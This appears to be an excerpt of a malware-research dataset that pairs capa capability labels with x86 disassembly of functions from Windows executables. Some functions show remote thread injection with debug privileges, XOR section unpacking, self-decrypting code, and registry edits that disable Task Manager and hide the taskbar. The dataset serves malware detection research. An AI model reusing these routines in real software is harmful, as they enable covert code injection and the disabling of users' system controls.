joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004d38c
Capabilities:
Get geographical location

Disassembly:
push 0x18
push 0x10059140
call fcn.100436f0
xor esi, esi
cmp dword [0x1007b530], esi
jne 0x1004d3d0
push esi
push esi
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1004d3bb
mov dword [0x1007b530], edi
jmp 0x1004d3d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x1004d3d0
mov dword [0x1007b530], 2
mov eax, dword [0x1007b530]
cmp eax, 2
je 0x1004d4b1
cmp eax, esi
je 0x1004d4b1
cmp eax, 1
jne 0x1004d415
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], esi
cmp dword [ebp + 0x18], esi
jne 0x1004d3fe
mov eax, dword [0x1007b490]
mov dword [ebp + 0x18], eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, esi
jne 0x1004d41c
xor eax, eax
jmp 0x1004d4c3
mov dword [ebp - 4], esi
lea eax, [ebx + ebx]
add eax, 3
and eax, 0xfffffffc
call fcn.10041d60
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x28], edi
or dword [ebp - 4], 0xffffffff
jmp 0x1004d452
cmp edi, esi
jne 0x1004d46d
lea eax, [ebx + ebx]
push eax
call fcn.10041c87
pop ecx
mov edi, eax
cmp edi, esi
je 0x1004d415
mov dword [ebp - 0x20], 1
push ebx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1004d4a0
push esi
push esi
cmp dword [ebp + 0x14], esi
jne 0x1004d48a
push esi
push esi
jmp 0x1004d490
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0xffffffffffffffff
push edi
push esi
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], esi
je 0x1004d4ac
push edi
call fcn.10041b6f
pop ecx
mov eax, dword [ebp - 0x1c]
jmp 0x1004d4c3
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea esp, [ebp - 0x34]
call fcn.1004372b
ret
Function at 0x1004e283
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.10041d60
mov eax, dword [0x100778dc]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.1004865a
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x1004e3b6
push 2
push esi
push dword [ebp + 8]
call fcn.1004865a
add esp, 0xc
cmp eax, ebx
je 0x1004e3b6
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x1004e356
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.10043690
push 0x8000
push dword [ebp + 8]
call fcn.1004ec9f
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x1004e30c
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.10048068
add esp, 0xc
cmp eax, 0xffffffff
je 0x1004e32c
sub edi, eax
test edi, edi
jg 0x1004e304
jmp 0x1004e344
call fcn.10042c5a
cmp dword [eax], 5
jne 0x1004e341
call fcn.10042c51
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.1004ec9f
pop ecx
pop ecx
jmp 0x1004e39e
jge 0x1004e39e
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1004865a
push dword [ebp + 8]
call fcn.1004ccd6
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x1004e39e
call fcn.10042c51
mov dword [eax], 0xd
call fcn.10042c5a
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.1004865a
add esp, 0xc
mov eax, esi
pop edi
jmp 0x1004e3b8
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.1004189e
leave
ret
Function at 0x1004eaca
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
push edi
mov dword [ebp - 0x10], ebx
jne 0x1004eae3
or eax, 0xffffffff
jmp 0x1004eb44
push esi
mov esi, dword [eax]
cmp esi, ebx
mov dword [ebp - 4], esi
je 0x1004eb40
push 0x3d
push esi
call fcn.1004ed36
cmp eax, ebx
pop ecx
pop ecx
mov dword [ebp - 0xc], eax
je 0x1004eb40
cmp esi, eax
je 0x1004eb40
xor ecx, ecx
cmp byte [eax + 1], bl
mov eax, dword [0x1007b234]
sete cl
cmp eax, dword [0x1007b238]
mov dword [ebp - 8], ecx
jne 0x1004eb26
mov edi, eax
call fcn.1004ea69
mov dword [0x1007b234], eax
cmp eax, ebx
jne 0x1004eb7f
cmp dword [ebp + 0xc], ebx
je 0x1004eb48
cmp dword [0x1007b23c], ebx
je 0x1004eb48
call fcn.1004e1f3
test eax, eax
je 0x1004eb7f
or eax, 0xffffffff
pop esi
pop edi
pop ebx
leave
ret
cmp dword [ebp - 8], ebx
je 0x1004eb51
xor eax, eax
jmp 0x1004eb43
push 4
call fcn.10041c87
cmp eax, ebx
pop ecx
mov dword [0x1007b234], eax
je 0x1004eb40
mov dword [eax], ebx
cmp dword [0x1007b23c], ebx
jne 0x1004eb7f
push 4
call fcn.10041c87
cmp eax, ebx
pop ecx
mov dword [0x1007b23c], eax
je 0x1004eb40
mov dword [eax], ebx
mov edi, dword [ebp - 0xc]
sub edi, dword [ebp - 4]
push dword [ebp - 4]
mov esi, dword [0x1007b234]
call fcn.1004ea1c
mov edi, eax
cmp edi, ebx
pop ecx
jl 0x1004ebe0
cmp dword [esi], ebx
je 0x1004ebe0
lea esi, [esi + edi*4]
push dword [esi]
call fcn.10041b6f
cmp dword [ebp - 8], ebx
pop ecx
jne 0x1004ebc3
mov eax, dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [ebp + 8]
mov dword [eax], ebx
jmp 0x1004ec21
mov eax, dword [esi + 4]
mov dword [esi], eax
inc edi
add esi, 4
cmp dword [esi], ebx
jne 0x1004ebba
mov eax, edi
shl eax, 2
push eax
push dword [0x1007b234]
call fcn.1004373c
cmp eax, ebx
pop ecx
pop ecx
je 0x1004ec21
jmp 0x1004ec1c
cmp dword [ebp - 8], ebx
jne 0x1004ec8c
cmp edi, ebx
jge 0x1004ebef
neg edi
lea eax, [edi*4 + 8]
push eax
push dword [0x1007b234]
call fcn.1004373c
cmp eax, ebx
pop ecx
pop ecx
je 0x1004eb40
mov edx, dword [ebp - 4]
lea ecx, [eax + edi*4]
mov dword [ecx], edx
mov dword [ecx + 4], ebx
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
mov dword [0x1007b234], eax
cmp dword [ebp + 0xc], ebx
je 0x1004ec76
push dword [ebp - 4]
call fcn.10043910
inc eax
inc eax
push eax
call fcn.10041c87
mov esi, eax
cmp esi, ebx
pop ecx
pop ecx
je 0x1004ec76
push dword [ebp - 4]
push esi
call fcn.10045e30
mov eax, esi
sub eax, dword [ebp - 4]
pop ecx
add eax, dword [ebp - 0xc]
pop ecx
mov ecx, dword [ebp - 8]
mov byte [eax], bl
inc eax
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
jne 0x1004ec6f
or dword [ebp - 0x10], 0xffffffff
push esi
call fcn.10041b6f
pop ecx
cmp dword [ebp - 8], ebx
je 0x1004ec84
push dword [ebp - 4]
call fcn.10041b6f
pop ecx
mov eax, dword [ebp - 0x10]
jmp 0x1004eb43
push dword [ebp - 4]
call fcn.10041b6f
mov eax, dword [ebp + 8]
pop ecx
mov dword [eax], ebx
jmp 0x1004eb4d
Function at 0x402589
Capabilities:
Contain obfuscated stackstrings
Get keyboard layout

Disassembly:
lea esp, [esp + 4]
jmp fcn.00401ec6

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x36d44709
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x12d24fb0
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401055
Capabilities:
Delete file
Get socket status
Receive data
Receive data on socket
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jbe 0x4011ea
cmp dword [ebp - 0x28], 0
je 0x4011ba
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x2c], 0
push 0
push 0
call dword [sym.imp.USER32.dll_EnableWindow]
test eax, eax
jne 0x4011b8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
jmp 0x4010fe
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0xcfb
jge 0x401112
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
jmp 0x4010f5
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0x4b
je 0x4011b8
cmp dword [ebp - 0x30], 0
jbe 0x4011b8
mov ebx, 0x20
add ebx, 0x20
push 0
push 0
call dword [sym.imp.USER32.dll_EnableWindow]
push ebx
mov ecx, 0x1000
push ecx
mov ecx, 0x1400
push ecx
push 0
push str.lwrwtewerterrtghjsfds
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
call dword [sym.imp.WS2_32.dll_recv]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x276d
jne 0x4011b8
mov edx, dword [ebp - 0x28]
xor eax, 0
mov dword [ebp - 0x3c], 0
jmp 0x40118c
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x28]
jae 0x40119f
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x401183
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [ebp - 8]
mov dword [0x40d958], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 8], eax
jmp 0x4011ea
push 0
push 0
call sub.WinSCard.dll_SCardForgetReaderW
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
push 0
call sub.AVIFIL32.dll_AVIFileAddRef
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x402e91
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d400
cmp edx, dword [eax]
je 0x402eb3
add eax, 8
inc ecx
cmp eax, 0x40d490
jl 0x402ea4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d400]
jne 0x402fe1
mov eax, dword [0x40d96c]
cmp eax, 1
je 0x402fbb
test eax, eax
jne 0x402ee4
cmp dword [0x40d0cc], 1
je 0x402fbb
cmp edx, 0xfc
je 0x402fe1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402f1b
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004047d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403120
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x402f5e
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403120
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x406ef4
push edi
call fcn.00404950
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004047d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004047e0
lea eax, [ebp - 0xa0]
push 0x406ed4
push eax
call fcn.004047e0
push dword [esi + 0x40d404]
lea eax, [ebp - 0xa0]
push eax
call fcn.004047e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004048c0
add esp, 0x2c
pop edi
jmp 0x402fe1
lea eax, [ebp + 8]
lea esi, [esi + 0x40d404]
push 0
push eax
push dword [esi]
call fcn.00403120
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x408898
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42b7a4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4088b5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4088e3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4088be
mov dword [ecx*4 + 0x42b7a0], eax
inc ecx
cmp ecx, 0x100
jne 0x4088b7
jmp 0x4088a9
cmp edx, ebx
je 0x4088fc
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42b7a0]
jmp 0x4088e3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x40153b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esp
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
test byte [esp + 0x2c], 1
je 0x401554
movzx esi, word [esp + 0x30]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x4044e0], eax
mov dword [ebp - 0x4c], 0x30
call fcn.0040152b
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x44], 0x40120e
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], str.Trick
mov dword [ebp - 0x20], eax
call fcn.0040151e
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test eax, eax
je 0x401626
mov eax, 0x80000000
push edi
push dword [ebp - 0x38]
push edi
push edi
push eax
push eax
push eax
push eax
push 0x80
push str.Qindom
push str.Trick
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push eax
mov dword [0x4044e8], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x4044e8]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x401626
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x40160a
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4423f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov word [esp + 0x4a], 0x38c1
mov byte [esp + 0x3f], 0xee
mov dword [esp + 0x38], 0x7fa
mov dword [esp + 0x20], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x34], edx
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
mov edx, eax
add edx, 0x3a42
mov esi, ecx
adc esi, 0
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], esi
mov dword [esp + 0x10], edi
mov edx, dword [esp + 0x38]
xor edx, 0x7fa
mov dword [esp + 0x18], edx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
jmp 0x4424d7
mov eax, dword [esp + 0x18]
add eax, 1
mov dword [esp + 0x18], eax
jmp 0x4424d7
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x24]
mov bl, byte [edx + ecx]
mov ecx, dword [esp + 0xc]
mov byte [ecx + eax], bl
jmp 0x442466
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x30], eax
jne 0x4424a3
mov eax, dword [esp + 0x34]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
mov ax, 0x9f12
mov cx, word [esp + 0x4a]
xor cx, 0x666d
mov word [esp + 0x16], cx
sub ax, word [esp + 0x4a]
mov edx, dword [esp + 0x18]
mov cx, word [esp + 0x16]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x10]
mov dword [esp + 0x24], edx
cmp cx, ax
je 0x4424a3
jmp 0x442473
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], eax
mov byte [esp + 0x15], 0xb7
mov eax, dword [esp + 8]
add eax, 0xf4d
mov ecx, dword [esp + 4]
adc ecx, 0
mov dl, 0xb7
mov dh, byte [esp + 0x3f]
xor dh, 0xbb
mov esi, dword [esp + 0x20]
mov dword [esp + 0x44], ecx
mov dword [esp + 0x40], eax
mov dword [esp + 0x28], esi
cmp dh, dl
jae 0x4424d7
jmp 0x44248b
Function at 0x10001c00
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x1c], 0
push 1
push str.SeDebugPrivilege
call section..text
cmp dword [0x1000c850], 0
je 0x10001c40
cmp dword [0x1000c84c], 0
jne 0x10001c47
xor eax, eax
jmp 0x10001ddc
mov eax, dword [0x1000c854]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10001c6a
xor eax, eax
jmp 0x10001ddc
mov ecx, 0x10001450
sub ecx, 0x10001420
mov dword [ebp - 0xc], ecx
push 0x40
push 0x1000
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x10001ca9
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001ddc
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 0x10001420
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001cd0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xc]
je 0x10001cf6
push 0x8000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10001ddc
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10001d20
jmp 0x10001d98
push 0xffffffffffffffff
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 8], 0
jne 0x10001d42
jmp 0x10001d98
cmp dword [0x1000c850], 0
je 0x10001d63
push 0x8000
push 0
mov edx, dword [0x1000c850]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [0x1000c84c], 0
je 0x10001d84
push 0x8000
push 0
mov ecx, dword [0x1000c84c]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [0x1000c850], 0
mov dword [0x1000c84c], 0
cmp dword [ebp - 0x10], 0
je 0x10001da8
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x18], 0
je 0x10001dc3
push 0x8000
push 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call section..text
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10001fe0
Capabilities:
Delete registry value
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x1000201e
lea ecx, [ebp - 4]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1000201e
xor eax, eax
mov esp, ebp
pop ebp
ret 4
cmp dword [ebp + 8], 0
push esi
je 0x10002036
mov edx, dword [ebp - 4]
push str.DisableTaskMgr
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10002056
mov ecx, dword [ebp - 4]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.DisableTaskMgr
push ecx
mov dword [ebp - 8], 1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10002140
Capabilities:
Enumerate threads
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0
push str.Shell_TrayWnd
mov dword [ebp - 4], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, dword [ebp + 8]
mov esi, eax
mov eax, edi
neg eax
sbb eax, eax
and eax, 5
push eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [ebp - 4]
push edx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [ebp - 0x20]
push eax
push ebx
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x100021c6
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 4]
jne 0x100021b8
mov edx, dword [ebp - 0x18]
push edi
push 0x100020c0
push edx
call dword [sym.imp.USER32.dll_EnumThreadWindows]
lea eax, [ebp - 0x20]
push eax
push ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x100021a0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10004ba7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000b910]
jne 0x10004bb1
repz ret
jmp fcn.10007068